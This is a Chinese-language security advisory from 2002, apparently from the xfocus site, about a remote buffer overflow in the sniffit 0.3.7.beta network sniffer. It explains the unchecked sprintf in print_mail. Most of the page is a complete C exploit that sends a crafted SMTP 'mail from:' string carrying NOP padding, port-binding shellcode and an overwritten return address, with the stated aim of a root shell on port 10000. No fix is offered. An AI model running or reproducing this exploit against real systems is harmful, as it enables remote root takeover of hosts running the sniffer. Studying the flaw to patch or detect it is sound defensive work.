xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

sniffit 存在远程缓冲溢出漏洞


发布时间:2002-01-23
更新时间:2002-01-23
严重程度:
威胁程度:远程管理员权限
错误类型:边界检查错误
利用方式:服务器模式

受影响系统
sniffit.0.3.7.beta
详细描述
sniffit是一款网络嗅探程序。

其中在使用-L选项与'normmail'一起使用的时候会触发缓冲溢出,如
./sniffit -c ./sample_config_file -L normmail ,问题存在于这个命令选项
会调用如下不检查缓冲区大小的代码:

//From sniffit.0.3.7.beta/sn_logfile.c
       void print_mail (char *conn, char *msg)
       {
       char line[250];
       sprintf(line,"%s: mail [%s]",conn,msg);
       print_logline (line);
       }

造成远程缓冲溢出。

测试代码
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <error.h>
#include <string.h>

#define SMTP_PORT 25
#define MAX_LINE 256
#define BUFLEN 252

//define this to your ip
#define MY_IP "192.168.0.1"

//Value for overwriting eip
//should be the adress of the data buffer + some
couple of garbage bytes
#define RETADR 0x08059408

//Port binding shellcode, binds on port 10000
//taken from bighawk@warfare.com
char shellcode[] =
   "\x31\xc0" // xor eax,
eax
   "\x31\xdb" // xor ebx,
ebx
   "\x89\xe5" // mov ebp,
esp
   "\x99" // cdq
   "\xb0\x66" // mov al,
102
   "\x89\x5d\xfc" // mov [ebp-4], ebx
   "\x43" // inc ebx
   "\x89\x5d\xf8" // mov [ebp-8], ebx
   "\x43" // inc ebx
   "\x89\x5d\xf4" // mov [ebp-12], ebx
   "\x4b" // dec ebx
   "\x8d\x4d\xf4" // lea ecx, [ebp-12]
   "\xcd\x80" // int 80h
   "\x89\x45\xf4" // mov [ebp-12], eax
   "\x43" // inc ebx
   "\x66\x89\x5d\xec" // mov [ebp-
20], bx
   "\x66\xc7\x45\xee\x27\x10" // mov [ebp-18], word
4135
   "\x89\x55\xf0" // mov [ebp-16], edx
   "\x8d\x45\xec" // lea eax, [ebp-20]
   "\x89\x45\xf8" // mov [ebp-8], eax
   "\xc6\x45\xfc\x10" // mov [ebp-4], byte
16
   "\xb2\x66" // mov dl,
102
   "\x89\xd0" // mov eax,
ed
   "\x8d\x4d\xf4" // lea ecx, [ebp-12]
   "\xcd\x80" // int 80h
   "\x89\xd0" // mov eax,
edx
   "\xb3\x04" // mov bl, 4
   "\xcd\x80" // int 80h
   "\x43" // inc ebx
   "\x89\xd0" // mov eax,
edx
   "\x99" // cdq
   "\x89\x55\xf8" // mov [ebp-8], edx
   "\x89\x55\xfc" // mov [ebp-4], edx
   "\xcd\x80" // int 80h
   "\x31\xc9" // xor ecx,
ecx
   "\x89\xc3" // mov ebx,
eax
   "\xb1\x03" // mov cl, 3
   "\xb0\x3f" // mov al,
63
   "\x49" // dec ecx
   "\xcd\x80" // int 80h
   "\x41" // inc ecx
   "\xe2\xf8" // loop -7
   "\x52" // push edx
   "\x68\x6e\x2f\x73\x68" // push dword
68732f6eh
   "\x68\x2f\x2f\x62\x69" // push dword
69622f2fh
   "\x89\xe3" // mov ebx,
esp
   "\x52" // push edx
   "\x53" // push ebx
   "\x89\xe1" // mov ecx,
esp
   "\xb0\x0b" // mov al,
11
   "\xcd\x80"; // int 80h


int usage (char *);
int calculate_conn_lenght (struct sockaddr_in, struct
sockaddr_in);

int
main (int argc, char *argv[])
{

   struct sockaddr_in stServer, stClient;
   char *ptHost;
   unsigned long int iHost;
   int iSockfd, iLenght, iAlign = 0;
   char sBuffer[MAX_LINE];
   char sString[300];
   int i;

   if (argc != 2) usage (argv[0]);

   ptHost = argv[1];
   if ( (iHost = inet_addr (argv[1])) == INADDR_NONE)
{

      printf ("Invalid host or host is 255.255.255.255\n");
      exit (-1);

   }

   //Fill the server struct
   memset (&stServer, 0, sizeof (struct sockaddr_in));
   stServer.sin_family = AF_INET;
   stServer.sin_port = htons (SMTP_PORT);
   stServer.sin_addr.s_addr = iHost;

   if ( (iSockfd = socket (AF_INET, SOCK_STREAM,
0)) == -1) {

      printf ("Error opening socket\n");
      exit (-1);

   }

   // Fill the client struct, mainly used to calculate the
right align for RET addy
   memset (&stClient, 0, sizeof (struct sockaddr_in));
   stClient.sin_family = AF_INET;
   stClient.sin_port = htons (0);
   stClient.sin_addr.s_addr = inet_addr (MY_IP);

   if ( (bind (iSockfd, (struct sockaddr *) &stClient,
sizeof (stClient))) == -1 ) {
  
      perror ("Cant bind socket");
      exit (-1);

   }

   iAlign = calculate_conn_lenght (stClient, stServer);
   i = BUFLEN - iAlign + 4;

   if ( (connect (iSockfd, (struct sockaddr *)
&stServer, sizeof (stServer))) != 0) {

      perror ("Cant connect");
      exit (-1);

   }
   else printf ("Connected to host %s on port %d\n\n",
ptHost, SMTP_PORT);

   // Recevons la banni&#352;re du serveur smtp
   if ( (iLenght = recv (iSockfd, sBuffer, MAX_LINE, 0))
== -1) {
      
      perror ("Cant get server banner");
      exit (-1);

   }
   printf ("%s\n", sBuffer);

   printf ("Building evil string... >:)\n");

   memset (sString, 0x90, sizeof (sString));

   memcpy (sString, "mail from:", strlen ("mail from:"));
   memcpy(sString + i - strlen (shellcode), shellcode,
strlen (shellcode));

   sString[i++] = (RETADR & 0x000000ff);
   sString[i++] = (RETADR & 0x0000ff00) >> 8;
   sString[i++] = (RETADR & 0x00ff0000) >> 16;
   sString[i++] = (RETADR & 0xff000000) >> 24;
   sString[i] = '\0';

   if ( (send (iSockfd, sString, strlen (sString), 0)) == -
1) {

      perror ("cant send message");
      exit (-1);

   }

   printf ("Evil string sent!\n");
   printf ("Try telneting the host on port 10000 for r00t
shell!\n");
    
   close (iSockfd);

   return (0);
    
}

int usage (char *progname)
{

   printf ("%s <ip>\n", progname);
   exit (-1);

}

/*
   function to calculate conn entry lenght
   ie : strlen of ("192.168.0.1.1024-192.168.0.69.25");
   (fuckin dirty but heh it works)
*/
int calculate_conn_lenght (struct sockaddr_in me,
struct sockaddr_in him)
{
   int lenght = 0;
   struct in_addr in;

   in.s_addr = me.sin_addr.s_addr;
   lenght += strlen (inet_ntoa (in)); // 192.168.0.1
      
   lenght++; // .

   lenght += 4; // 1220

   lenght ++; // .

   in.s_addr = him.sin_addr.s_addr;
   lenght += strlen (inet_ntoa (in)); // 192.168.0.69

   lenght++; // .

   lenght += 2; // 25

   lenght += strlen (": mail [");

   return (lenght);
}

解决方案
尚无

相关信息
g_463@hotmail.com
参考:http://archives.neohapsis.com/archives/bugtraq/2002-01/0258.html